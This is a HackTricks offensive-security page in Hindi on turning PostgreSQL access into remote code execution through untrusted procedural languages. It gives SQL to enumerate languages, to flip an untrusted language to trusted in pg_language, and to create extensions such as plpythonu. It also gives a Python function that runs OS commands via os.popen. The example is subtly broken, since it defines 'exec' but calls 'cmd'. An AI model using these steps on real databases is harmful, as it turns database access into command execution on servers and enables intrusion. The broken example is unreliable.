RCE with PostgreSQL Languages
Reading time: 7 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
PostgreSQL Languages
जिस PostgreSQL डेटाबेस तक आपको पहुंच मिली है, उसमें विभिन्न स्क्रिप्टिंग भाषाएँ स्थापित हो सकती हैं जिन्हें आप मनमाने कोड को चलाने के लिए दुरुपयोग कर सकते हैं।
आप उन्हें चलाने के लिए कर सकते हैं:
\dL *
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
PostgreSQL में आप जिन अधिकांश स्क्रिप्टिंग भाषाओं को स्थापित कर सकते हैं, उनके 2 प्रकार हैं: trusted और untrusted। untrusted का नाम "u" पर समाप्त होगा और यह वह संस्करण होगा जो आपको कोड निष्पादित करने और अन्य दिलचस्प कार्यों का उपयोग करने की अनुमति देगा। ये भाषाएँ हैं जो यदि स्थापित हैं तो दिलचस्प हैं:
- plpythonu
- plpython3u
- plperlu
- pljavaU
- plrubyu
- ... (कोई अन्य प्रोग्रामिंग भाषा जो असुरक्षित संस्करण का उपयोग कर रही है)
warning
यदि आप पाते हैं कि एक दिलचस्प भाषा स्थापित है लेकिन PostgreSQL द्वारा untrusted है (lanpltrusted
false
है) तो आप इसे trust करने की कोशिश कर सकते हैं ताकि PostgreSQL द्वारा कोई प्रतिबंध लागू न हो:
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# pg_language तालिका पर अपने अनुमतियों की जांच करने के लिए
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
caution
यदि आप एक भाषा नहीं देखते हैं, तो आप इसे लोड करने की कोशिश कर सकते हैं (आपको सुपरएडमिन होना चाहिए):
CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;
ध्यान दें कि सुरक्षित संस्करणों को "unsecure" के रूप में संकलित करना संभव है। उदाहरण के लिए यह देखें। इसलिए यह हमेशा कोशिश करने लायक है कि क्या आप कोड निष्पादित कर सकते हैं, भले ही आप केवल trusted वाला स्थापित पाते हैं।
plpythonu/plpython3u
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';
SELECT cmd("ls"); #RCE with popen or execve
pgSQL
निम्नलिखित पृष्ठ की जांच करें:
C
निम्नलिखित पृष्ठ की जांच करें:
RCE with PostgreSQL Extensions
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।